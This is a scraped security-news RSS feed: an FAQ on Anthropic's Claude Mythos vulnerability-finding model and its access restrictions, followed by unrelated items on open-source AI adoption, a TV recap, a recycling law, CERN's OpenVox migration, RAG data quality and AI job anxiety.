<guid isPermaLink="true">https://tsecurity.de/de/3680433/it-security-nachrichten/claude-mythos-faq-capabilities-access-competitors-implications/</guid>
<pubDate>Mon, 20 Jul 2026 08:38:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<div class="wp-block-idg-base-theme-faq-block faq-block">
<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">1.</span>
<h2 class="wp-block-heading">What is Claude Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Claude Mythos is an advanced AI model developed by Anthropic and is optimized for cybersecurity and healthcare applications.</p>



<p class="wp-block-paragraph"><a href="https://www.anthropic.com/claude/mythos">Mythos 5</a> was originally released in April to a small group of vetted technology partners ahead of a planned wider rollout.</p>



<p class="wp-block-paragraph">Anthropic established <strong>Project Glasswing</strong>, a consortium that gives limited, controlled access to Mythos to infrastructure providers, open-source developers, and major technology companies. The scheme was designed to enable defenders to find and resolve vulnerabilities faster than they could be identified by attackers, <a href="https://www.csoonline.com/article/4154222/6-ways-attackers-abuse-ai-services-to-hack-your-business.html">many of which are also beginning to rely heavily on AI tools</a>.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">2.</span>
<h2 class="wp-block-heading">What are the capabilities of Claude Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">The <a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">50 initial partners of Project Glasswing</a> were able to use Mythos to find more than <a href="https://www.csoonline.com/article/4176865/project-glasswing-has-uncovered-10000-vulnerabilities-anthropic.html">10,000 high- or critical-severity vulnerabilities</a> in every major operating system and <a href="https://www.csoonline.com/article/4162259/claude-mythos-signals-a-new-era-in-ai-driven-security-finding-271-flaws-in-firefox.html">every major web browser</a>.</p>



<p class="wp-block-paragraph">The model is identifying security flaws that had evaded even the most capable security researchers for years, such as a <a href="https://www.csoonline.com/article/4159617/behind-the-mythos-hype-glasswing-has-just-one-confirmed-cve.html">27-year-old bug in OpenBSD</a>. It has also proved capable of chaining multiple vulnerabilities together.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">3.</span>
<h2 class="wp-block-heading">How is Anthropic restricting access to Claude Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Anthropic said it was restricting the more widespread availability of the frontier AI model because its capabilities might easily be misused by attackers.</p>



<p class="wp-block-paragraph">In June the technology was released to an <a href="https://www.csoonline.com/article/4180265/anthropic-grants-project-glasswing-access-to-150-more-companies-with-a-focus-on-critical-infrastructure.html">additional 150 organizations</a>. All Mythos partners are required to accept a 30-day data retention policy for safety monitoring.</p>



<p class="wp-block-paragraph">After the availability of Mythos forced the <a href="https://www.csoonline.com/article/4166824/anthropic-mythos-spurs-white-house-to-weigh-pre-release-reviews-for-high-risk-ai-models.html">Trump administration to reconsider its “hands off” approach to AI oversight</a>, the US government applied export controls to Claude Fable 5 and Claude Mythos 5 on June 15. The restrictions — which were supposed to block access to foreign nationals both inside and outside the US — were lifted on June 30.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">4.</span>
<h2 class="wp-block-heading">What is Claude Fable?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">For broader use, Anthropic is offering <a href="https://www.csoonline.com/article/4183094/anthropic-releases-mythos-class-fable-5-model-with-safeguards-for-cyber-risks.html">Claude Fable 5</a>, which is based on the same underlying technology but comes with strict guardrails that limit operations in “risky” cybersecurity domains. Flagged queries are automatically routed to the earlier and less capable Opus 4.8 large language model (LLM) instead.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">5.</span>
<h2 class="wp-block-heading">How are Anthropic’s security vendor partners using access to Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Cisco, one of Anthropic’s Project Glasswing partners, <a href="https://blogs.cisco.com/ai/announcing-foundry-security-spec">open-sourced its Foundry Security Spec</a>, a model-agnostic “harness” for security testing, so that other vendors and enterprise security defenders could build similar workflows without starting from scratch.</p>



<p class="wp-block-paragraph">During a recent web conference, representatives from Cisco argued that defenders can use AI to identify, confirm, and resolve security issues at much greater speed and scale. Older vulnerability remediation models based on “find one issue, patch one issue” are no longer adequate because attackers are using AI moving to accelerate the path from vulnerability discovery to exploitation.</p>



<p class="wp-block-paragraph">Cisco has been using AI internally to scan 1.8 billion lines of code across its whole product portfolio.</p>



<p class="wp-block-paragraph">Smaller businesses do not need access to restricted AI models to improve security and more can be achieved in smaller shops by improving security fundamentals such as authentication, segmentation, zero trust, and prioritizing the remediation of actively exploited vulnerabilities, according to Cisco.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">6.</span>
<h2 class="wp-block-heading">Do other AI vendors offer anything comparable to Claude Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Mythos is the most prominent example of frontier AI models that can automate zero-day discovery at a scale and speed far beyond the capability of human teams.</p>



<p class="wp-block-paragraph">Several other vendors have frontier AI models aimed towards high-capability, security-oriented operations while others have capable open models that might easily be applied to cybersecurity research.</p>



<p class="wp-block-paragraph">As a result, Claude Mythos is far from the only game in town.</p>



<p class="wp-block-paragraph">For example, OpenAI’s GPT-5.4-Cyber (and <a href="https://openai.com/index/gpt-5-5-with-trusted-access-for-cyber/">GPT-5.5</a>) has applications in vulnerability analysis and discovery as well as malware analysis and threat modelling. Security vendors, enterprises, and researchers can gain access to the technology through OpenAI’s Trusted Access for Cyber (TAC) scheme.</p>



<p class="wp-block-paragraph">Chinese cybersecurity firm <a href="https://www.reuters.com/legal/litigation/chinas-360-says-it-has-developed-tools-match-anthropics-mythos-2026-06-24/">360 Security Technology has developed Tulongfeng</a>, described as a domestic answer to Anthropic’s Mythos.</p>



<p class="wp-block-paragraph">High performance open models — including DeepSeek V3.2 and Llama 4 — can be run privately on GPU infrastructure and applied to cybersecurity research. Fugu from Japanese vendor Sakana AI offers another option in this category.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">7.</span>
<h2 class="wp-block-heading">What do cybersecurity critics say about Claude Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Infosecurity critics note that while Claude Mythos is unquestionably advanced, marketing claims that it is reliably breaking production systems overstate its capabilities.</p>



<p class="wp-block-paragraph">Security professionals are complaining through <a href="https://www.youtube.com/watch?v=mx0CpTp3Q4Y">podcasts</a> and elsewhere about the overly sensitive guardrails in Claude Fable that downgrade to Opus 4.8 upon requests to summarize a security-related blog post or even spell the word “exploit” much less tackle any everyday information security task.</p>



<p class="wp-block-paragraph">Other experts warn that false positives are likely to be an issue for cybersecurity research using frontier AI models.</p>



<p class="wp-block-paragraph">The wider criticism is that finding more vulnerabilities faster fails to address the bigger problem of reliability fixing security bugs or non-technical attack paths such as social engineering.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">8.</span>
<h2 class="wp-block-heading">How should enterprise CISOs respond to the development of Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Western intelligence agencies that form the <a href="https://www.ncsc.gov.uk/sites/default/files/2026-06/Five-Eyes-cyber-security-agencies-statement-ai-shift.pdf">Fives Eyes alliance issued a statement warning that frontier AI models such as Claude Mythos</a> are “fundamentally transforming both offensive and defensive cyber capabilities” in a scale of months rather than years.</p>



<p class="wp-block-paragraph">“While Al will help us improve cyber defence over time, it also accelerates the speed, scale, and sophistication of cyber threats,” the group, which includes the US National Security Agency and the UK’s National Cyber Security Centre, warns.</p>



<p class="wp-block-paragraph">Enterprises need to be using AI to strengthen defenses as part of broader plans to improve cybersecurity resilience.</p>



<p class="wp-block-paragraph">AI-based systems capable of mapping realistic attack paths faster than any human adversary are fast becoming a pervasive threat, while most organizations are nowhere near ready for what that means for their threat models, one expert warns.</p>



<p class="wp-block-paragraph">“We now have AI systems that can map realistic attack paths across software, vendors, and critical infrastructure faster than human adversaries can catalog them,” says Joe Hubback, partner and CISO at consultancy Elixirr and former McKinsey Partner. “And as Mythos-class capabilities are prepared for broad commercial release, that’s no longer a niche research problem, it’s something every organization will have to factor into its threat model.”</p>



<p class="wp-block-paragraph">An <a href="https://labs.cloudsecurityalliance.org/wp-content/uploads/2026/04/mythosready-20260413.pdf">AI safety paper from the Cloud Security Alliance</a> warns that AI has significantly compressed the time between vulnerability discovery and exploitation, outpacing traditional patch-and-react security models. Organizations should brace for ongoing waves of AI-discovered vulnerabilities from Project Glasswing and other sources.</p>



<p class="wp-block-paragraph">“The capabilities seen in Mythos will quickly become more widely available, dramatically increasing the number and frequency of complex, novel attacks organizations will face,” it warns.</p>



<p class="wp-block-paragraph">Enterprise security defenders need to shift to a “Mythos-ready” approach built around continuous vulnerability operations, faster prioritization, and improved incident response.</p>
</div>
</div></div>
</div>



<p class="wp-block-paragraph"><strong>See also:</strong></p>



<ul class="wp-block-list">
<li><a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">What Anthropic Glasswing reveals about the future of vulnerability discovery</a></li>



<li><a href="https://www.csoonline.com/article/4158117/anthropics-mythos-signals-a-structural-cybersecurity-shift.html">Anthropic’s Mythos signals a structural cybersecurity shift</a></li>



<li><a href="https://www.csoonline.com/article/4180920/beware-the-son-of-mythos-security-experts-warn.html">Beware the ‘son of Mythos,’ security experts warn</a></li>



<li><a href="https://www.csoonline.com/article/4189600/mythos-is-a-signal-not-a-siren-what-frontier-ai-should-change-for-cisos.html">Mythos is a signal, not a siren: What frontier AI should change for CISOs</a></li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Nearly half of open-source AI projects never reach production]]></title>
<description><![CDATA[Open models are moving into production across more organizations, and the work of securing those deployments increasingly extends beyond the model weights. Mozilla’s The State of Open Source AI 2026 identifies deployment, governance and operational tooling as persistent obstacles as model capabil...]]></description>
<link>https://tsecurity.de/de/3680296/it-security-nachrichten/nearly-half-of-open-source-ai-projects-never-reach-production/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680296/it-security-nachrichten/nearly-half-of-open-source-ai-projects-never-reach-production/</guid>
<pubDate>Mon, 20 Jul 2026 07:54:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Open models are moving into production across more organizations, and the work of securing those deployments increasingly extends beyond the model weights. Mozilla’s The State of Open Source AI 2026 identifies deployment, governance and operational tooling as persistent obstacles as model capability improves. Open source AI in 2026, in four numbers. (Source: Mozilla) “Without investment in the infrastructure, tooling, and governance around open models, we risk locking in a system where only restrictive, closed AI … <a href="https://www.helpnetsecurity.com/2026/07/20/mozilla-open-source-ai-adoption-report/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/20/mozilla-open-source-ai-adoption-report/">Nearly half of open-source AI projects never reach production</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Nearly half of open-source AI projects never reach production]]></title>
<description><![CDATA[Open models are moving into production across more organizations, and the work of securing those deployments increasingly extends beyond the model weights. Mozilla’s The State of Open Source AI 2026 identifies deployment, governance and operational tooling as persistent obstacles as…
Read more →
...]]></description>
<link>https://tsecurity.de/de/3680292/it-security-nachrichten/nearly-half-of-open-source-ai-projects-never-reach-production/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680292/it-security-nachrichten/nearly-half-of-open-source-ai-projects-never-reach-production/</guid>
<pubDate>Mon, 20 Jul 2026 07:54:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Open models are moving into production across more organizations, and the work of securing those deployments increasingly extends beyond the model weights. Mozilla’s The State of Open Source AI 2026 identifies deployment, governance and operational tooling as persistent obstacles as…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/nearly-half-of-open-source-ai-projects-never-reach-production/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/nearly-half-of-open-source-ai-projects-never-reach-production/">Nearly half of open-source AI projects never reach production</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[‘Agent Kim Reactivated’ Season 1, Episode 8 Recap: Kim Takes on One Final Mission]]></title>
<description><![CDATA[Agent Kim Reactivated Season 1, Episode 8 places Kim Do-hyeon inside another deadly operation after the authorities use his daughter’s safety to force him back into service.



Kim learns the truth about his imprisonment



Episode 8 begins with Kim trapped inside what appears to be a North Korea...]]></description>
<link>https://tsecurity.de/de/3680124/ios-mac-os/agent-kim-reactivated-season-1-episode-8-recap-kim-takes-on-one-final-mission/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680124/ios-mac-os/agent-kim-reactivated-season-1-episode-8-recap-kim-takes-on-one-final-mission/</guid>
<pubDate>Mon, 20 Jul 2026 01:24:34 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Agent Kim Reactivated Season 1, Episode 8 places Kim Do-hyeon inside another deadly operation after the authorities use his daughter’s safety to force him back into service.



Kim learns the truth about his imprisonment



Episode 8 begins with Kim trapped inside what appears to be a North Korean interrogation facility. Soldiers torture him for several days, but he refuses to reveal any information.



The situation changes when one of the interrogators threatens Min-ji. Kim immediately fights back, only to discover that the entire prison setup was a test organised by South Korean officials.



Mole Cricket explains that the authorities still need Kim’s skills. They offer him and Min-ji new identities, but Kim must first complete one final mission.



Kim agrees on two conditions. Min-ji must remain safe, while Han-su and Jin-cheol must be released. The officials accept his terms, giving Kim little choice but to return to the dangerous life he tried to leave behind.



What happened before Episode 8?



In Episode 7, Kim finally reunited with Min-ji after fighting through several groups trying to capture them. He also defeated Ju Gang-chan, who had threatened his daughter and attempted to recruit him.



Min-ji stopped Kim from killing Ju and forced him to seek an apology instead. Kim later prepared a final meal for his daughter before surrendering himself to the authorities.



The episode ended with Kim waking inside the prison, making it appear that he had been secretly transported to North Korea.



Kim protects a North Korean defector



Kim’s new mission involves protecting an important North Korean official seeking asylum in South Korea. The defector carries sensitive information that could influence negotiations between the two countries.



Kim takes the man to a safe house while Sang-a prepares for the next stage of the operation. However, Ju Gang-chan begins working with North Korean officials to capture the defector before he can reveal what he knows.



Armed attackers soon raid the safe house. Kim uses a decoy plan, sending part of his team through the woods while he escapes through another route with the defector.



Kim quickly realises that the attackers knew too much about the mission. Their timing and knowledge suggest that someone inside the SMD leaked the safe house location.



Episode 8 ending explained



Kim eventually meets Han-su and Jin-cheol, bringing the three former agents together again. Their reunion lasts only a few moments before Mole Cricket arrives with SMD forces.



Mole Cricket claims that Kim failed to complete his assignment. He then announces that Kim will be sent back to North Korea.



The cliffhanger raises several questions. Mole Cricket could be involved in the information leak, or he may be following orders from someone inside the government. Kim must now uncover the traitor while protecting the defector, Min-ji and his closest allies.



Episode 8 expands the story beyond Min-ji’s kidnapping and introduces a larger conflict involving political corruption, secret deals and betrayal inside the intelligence service.



Do you think Mole Cricket betrayed Kim, or is he hiding another part of the mission? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[California's 'Truth in Recycling' Law Blocked by Judge]]></title>
<description><![CDATA[An anonymous reader shared this report from the Los Angeles Times:

A federal judge has halted California's groundbreaking "Truth in Recycling" law, which aims to reduce consumer confusion about which packaging can be recycled. [Originally planned to take effect October 4th], California's recycla...]]></description>
<link>https://tsecurity.de/de/3680013/it-security-nachrichten/californias-truth-in-recycling-law-blocked-by-judge/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680013/it-security-nachrichten/californias-truth-in-recycling-law-blocked-by-judge/</guid>
<pubDate>Sun, 19 Jul 2026 23:22:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An anonymous reader shared this report from the Los Angeles Times:

A federal judge has halted California's groundbreaking "Truth in Recycling" law, which aims to reduce consumer confusion about which packaging can be recycled. [Originally planned to take effect October 4th], California's recyclable packaging law prohibits manufacturers from using a "chasing arrows" recycling symbol on products or materials unless they are actually being recycled in a meaningful way, which the law quantifies... 

A coalition of farming, forestry, restaurant and packaging organizations sued the state in March, arguing the law violates their right to free speech. They argued that Senate Bill 343 operates as "government-imposed censorship." Judge William Hayes agreed that their challenge has merit, and on Tuesday ordered California Atty. Gen. Rob Bonta, the defendant in the case, to pause enforcement of the law "until further order of the Court...." Advocates of reducing plastic use disagreed. "The court got it wrong, and I'm confident that the state will ultimately prevail," said Nick Lapis, director of advocacy for Californians Against Waste. "S.B. 343 does not violate the 1st Amendment; it requires companies to tell the truth when they make recyclability claims. Suggesting that the 1st Amendment protects misleading environmental marketing is inconsistent with the basic principles of consumer protection that states like California have implemented for decades." 


In January, CalRecycle, the state's waste agency, reported that less than 10% of most single-use plastic materials in the state were being recycled. Even yogurt containers and margarine tubs — made of ubiquitous polypropylene, or No. 5 plastic — are being recycled at a rate of only 2% in the state, the report said. Only 5% of colored shampoo and detergent bottles, made from polyethylene, or No. 1 plastic, are getting recycled... 

Plastic materials that can't be recycled are typically sent to landfills or sometimes illegally shipped overseas, where they are burned or end up in landfills, rivers and waterways.


 
The bill's author told the Los Angeles Times "All you have to do is look at the numbers. These products are not getting recycled, despite what the industry is claiming. They are just confusing consumers, clogging the waste stream, polluting the environment, leading to higher and higher prices for local governments and ratepayers." He argues the symbols shouldn't be used to "confuse people who see the symbols [on products] and assume they can be recycled." 

The article also quotes Judith Enck, former Environmental Protection Agency regional administrator and president of the nonprofit Beyond Plastics. "Given the long history of the plastics industry deceiving the public about plastics recycling, this is an especially bad outcome. It is a reminder that the plastics industry has enough money to fight even the most modest policy designed to protect people and the planet."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=California's+'Truth+in+Recycling'+Law+Blocked+by+Judge%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F19%2F210221%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F19%2F210221%2Fcalifornias-truth-in-recycling-law-blocked-by-judge%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/07/19/210221/californias-truth-in-recycling-law-blocked-by-judge?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Migrating to OpenVox at CERN (voxconf2026)]]></title>
<description><![CDATA[At CERN we are currently switching our whole infrastructure to Openvox all over the place and would like to contribute by giving a talk during the VoxConf 2026. This switch, although simple for some other organisations (not a simple repo and package switch for us), showed some non-negligible tech...]]></description>
<link>https://tsecurity.de/de/3679973/it-security-video/migrating-to-openvox-at-cern-voxconf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679973/it-security-video/migrating-to-openvox-at-cern-voxconf2026/</guid>
<pubDate>Sun, 19 Jul 2026 22:46:53 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[At CERN we are currently switching our whole infrastructure to Openvox all over the place and would like to contribute by giving a talk during the VoxConf 2026. This switch, although simple for some other organisations (not a simple repo and package switch for us), showed some non-negligible technical debt and challenges. We would like to present our journey, past, present and future on our Puppet to Openvox transition

For many organizations, the migration from Puppet to OpenVox might be a matter of swapping repositories and running a package update. For CERN (home to the Large Hadron Collider and tens of thousands of heterogeneous nodes spanning data centers, accelerator controls, and physics analysis grids) it has been an archaeological dig through a decade and a half of institutional configuration history.

This is a post-mortem (and mid-mortem) of a massive enterprise pivot for a system that supports +15000 machines and +400 administrators. In our pursuit of a fully OpenVox-driven infrastructure, we discovered that the technical debt was not in the software itself, but in the abstractions we had built on top of the software. This is a description of the challenges we surpassed and will have coming later on this year (and beyond) to align with CERN's long-term opensource strategy.
about this event: https://c3voc.de]]></content:encoded>
</item>
<item>
<title><![CDATA[Migrating to OpenVox at CERN (voxconf2026)]]></title>
<description><![CDATA[At CERN we are currently switching our whole infrastructure to Openvox all over the place and would like to contribute by giving a talk during the VoxConf 2026. This switch, although simple for some other organisations (not a simple repo and package switch for us), showed some non-negligible tech...]]></description>
<link>https://tsecurity.de/de/3679966/it-security-video/migrating-to-openvox-at-cern-voxconf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679966/it-security-video/migrating-to-openvox-at-cern-voxconf2026/</guid>
<pubDate>Sun, 19 Jul 2026 22:32:54 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[At CERN we are currently switching our whole infrastructure to Openvox all over the place and would like to contribute by giving a talk during the VoxConf 2026. This switch, although simple for some other organisations (not a simple repo and package switch for us), showed some non-negligible technical debt and challenges. We would like to present our journey, past, present and future on our Puppet to Openvox transition

For many organizations, the migration from Puppet to OpenVox might be a matter of swapping repositories and running a package update. For CERN (home to the Large Hadron Collider and tens of thousands of heterogeneous nodes spanning data centers, accelerator controls, and physics analysis grids) it has been an archaeological dig through a decade and a half of institutional configuration history.

This is a post-mortem (and mid-mortem) of a massive enterprise pivot for a system that supports +15000 machines and +400 administrators. In our pursuit of a fully OpenVox-driven infrastructure, we discovered that the technical debt was not in the software itself, but in the abstractions we had built on top of the software. This is a description of the challenges we surpassed and will have coming later on this year (and beyond) to align with CERN's long-term opensource strategy.
about this event: https://c3voc.de]]></content:encoded>
</item>
<item>
<title><![CDATA[The cleanup trap: Stop asking RAG to fix bad data]]></title>
<description><![CDATA[The enterprise technology ecosystem is caught in a costly cycle. Over the past two years, millions of dollars have been funneled into generative AI pilots, yet many of these initiatives stall out before ever reaching a live production environment.When a project fails, the immediate instinct of te...]]></description>
<link>https://tsecurity.de/de/3679963/it-nachrichten/the-cleanup-trap-stop-asking-rag-to-fix-bad-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679963/it-nachrichten/the-cleanup-trap-stop-asking-rag-to-fix-bad-data/</guid>
<pubDate>Sun, 19 Jul 2026 22:32:19 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The enterprise technology ecosystem is caught in a costly cycle. Over the past two years, millions of dollars have been funneled into generative AI pilots, yet many of these initiatives stall out before ever reaching a live production environment.</p><p>When a project fails, the immediate instinct of technical leadership is often to blame the model: The context window was too restrictive, the latency was too high, or the reasoning capabilities simply were not there.</p><p>But as data engineers building the scaffolding for these systems, we often see a different reality: The model receives the blame, but the pipeline usually contains the root cause. Production gen AI rarely fails because of model limitations alone. More often, it fails because the enterprise data foundation underneath it is fundamentally unready.</p><p>This is what I call the 'Cleanup Trap': The false belief that an organization can pipe fragmented, inconsistent, and ungoverned legacy data into a large language model (LLM) orchestrator and simply “clean it up” or patch it at the retrieval layer.</p><h2><b>The mirage of the retrieval layer</b></h2><p>In a standard retrieval-augmented generation (RAG) architecture, the retrieval layer is tasked with pulling relevant business context to ground the model’s responses. Because modern frameworks make it simple to stand up a vector database and a basic embedding pipeline, leadership often assumes that the data engineering problem is solved.</p><p>It is not.</p><p>When an embedding model receives raw, unvalidated data directly from operational silos, the resulting vector space inherits the structural noise, duplicate records, and conflicting states present in the source systems.</p><p>If the core data pipeline suffers from silent degradation — schema drift, missing fields, delayed change-data-capture (CDC) synchronization — that degradation cascades directly into the vector store. An AI model cannot accurately synthesize customer intelligence if the data pipeline behind it is serving stale, contradictory profiles across disparate storage layers.</p><p>No amount of prompt engineering, semantic reranking, or vector hyperparameter tuning can compensate for a broken ingestion pipeline. If the foundation is compromised, the downstream application will hallucinate, expose unauthorized context, or fail to deliver deterministic value.</p><h2><b>Shifting from ad-hoc patching to programmatic guardrails</b></h2><p>To break out of the 'Cleanup Trap,' enterprise data teams must stop treating data quality as a post-processing step. They need to treat data readiness for AI with the same rigor they bring to traditional transaction processing.</p><p>This requires a deliberate architectural shift toward zero-trust data ingestion, structured validation frameworks, and automated anomaly detection before data ever reaches an AI orchestration layer.</p><h3><b>1. Harden the ingestion pipeline</b></h3><p>Data quality checks cannot exist as a nightly batch afterthought. If an enterprise AI application relies on real-time data to assist users, validation must happen inline.</p><p>Teams should implement explicit schema validation checks at the earliest ingestion point, such as the streaming ingress layer or the bronze landing layer of a medallion architecture. If an upstream operational database mutates a schema without warning, the pipeline should quarantine anomalous payloads rather than allowing corrupted metadata to pollute downstream AI contexts.</p><h3><b>2. Use multi-tiered algorithmic validation</b></h3><p>Static row-count validation rules are insufficient for AI readiness. True data health requires a multi-tiered approach.</p><p>This means pairing structural verification — null checks, type conformance, and schema validation — with statistical profiling to monitor for data drift. Tracking metric deviations across feature distributions helps ensure that historical context remains stable over time.</p><p>If a pipeline suddenly processes an unexpected spike in empty string variables or structurally deviant fields, automated alerts should trigger an immediate pause before vector database updates continue.</p><h3><b>3. Decouple security and compliancemfrom the model</b></h3><p>An LLM should never be the arbiter of data access control. Trying to enforce row-level security or personal data filtering through system prompts is a compliance risk.</p><p>Security must be managed within the data infrastructure tier. Enterprise data foundations should enforce strict access controls, tokenization of sensitive identifiers, and rigorous lineage tracing before information is indexed into vector stores or passed into an agent’s context window.</p><h2><b>Technical alignment: A pragmatic blueprint</b></h2><p>For technology leaders mapping their infrastructure roadmaps, AI readiness requires evaluating data pipelines against a strict operational checklist.</p><ul><li><p>Can you trace a flawed AI response back to the exact pipeline execution, source record, and transformation step that produced it?</p></li><li><p>Does your data lake architecture have a programmatic mechanism to segment and quarantine corrupted or non-compliant data before it reaches production feature stores?</p></li><li><p>Are your operational systems and AI-facing vector databases tightly synchronized, or are your agents making automated decisions based on outdated snapshots?</p></li></ul><p>These questions matter because production AI is not just a model deployment problem. It is a data reliability problem.</p><h2><b>Building for the production era</b></h2><p>The honeymoon phase of gen AI experimentation is ending. Enterprise leaders are demanding measurable, predictable, and secure business outcomes from their AI investments.</p><p>If an organization wants to transition from isolated, impressive-looking demos to resilient, production-grade AI systems, it must redirect its focus. Stop looking exclusively at the model tier.</p><p>The real competitive differentiator is not only the LLM an organization chooses. It is the engineering discipline, data governance, and pipeline resilience of the infrastructure built to feed it.</p><p>In the production era of AI, data engineering is no longer a backend function. It is the control plane for enterprise intelligence.</p><p><i>Naveen Ayalla is a senior data engineer. </i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI job worries grow. But some human skills can’t be replaced by machines | Gaynor Parkin and Dave Winsborough]]></title>
<description><![CDATA[The fear of becoming obsolete is a rising source of anxiety as artificial intelligence emerges in the workplace. Staying strongly connected with others will helpThe modern mind is a column where experts discuss mental health issues they are seeing in their workEarlier this year Paul* discovered v...]]></description>
<link>https://tsecurity.de/de/3679650/ai-nachrichten/ai-job-worries-grow-but-some-human-skills-cant-be-replaced-by-machines-gaynor-parkin-and-dave-winsborough/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679650/ai-nachrichten/ai-job-worries-grow-but-some-human-skills-cant-be-replaced-by-machines-gaynor-parkin-and-dave-winsborough/</guid>
<pubDate>Sun, 19 Jul 2026 17:03:15 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The fear of becoming obsolete is a rising source of anxiety as artificial intelligence emerges in the workplace. Staying strongly connected with others will help</p><ul><li><p><a href="https://www.theguardian.com/commentisfree/series/the-modern-mind">The modern mind</a> is a column where experts discuss mental health issues they are seeing in their work</p></li></ul><p>Earlier this year Paul* discovered via a flurry of media stories that his business group had been targeted for job cuts, alongside a number of other public sector agencies. For him, this was the second time, after his technical management role was restructured in 2024. While that process was difficult enough, the comms this time were highlighting the integration of AI as a cost-saving tool. “They say it’s not about firing people, but hey, my whole team will go.”</p><p>For Paul, the timing could not have been worse. He and his partner are expecting a child and recently purchased their first house.</p><p>Curiosity: Seek new learning, perspectives and interests, look outside your usual sources for inspiration. You can use AI to widen your perspective and spark ideas, but stay engaged with the world beyond the screen.</p><p>Humility: Grow your self-awareness. Reflect on what comes naturally, what energises you, and where you get stuck. Then invite honest feedback. AI learns through feedback – you can too. Ask people you trust what to start, stop and keep doing.</p><p>Emotional intelligence: Your ability to connect, show empathy and communicate with care will only become more valuable.</p> <a href="https://www.theguardian.com/commentisfree/2026/jul/20/ai-job-worries-human-skills-machines-cant-replace">Continue reading...</a>]]></content:encoded>
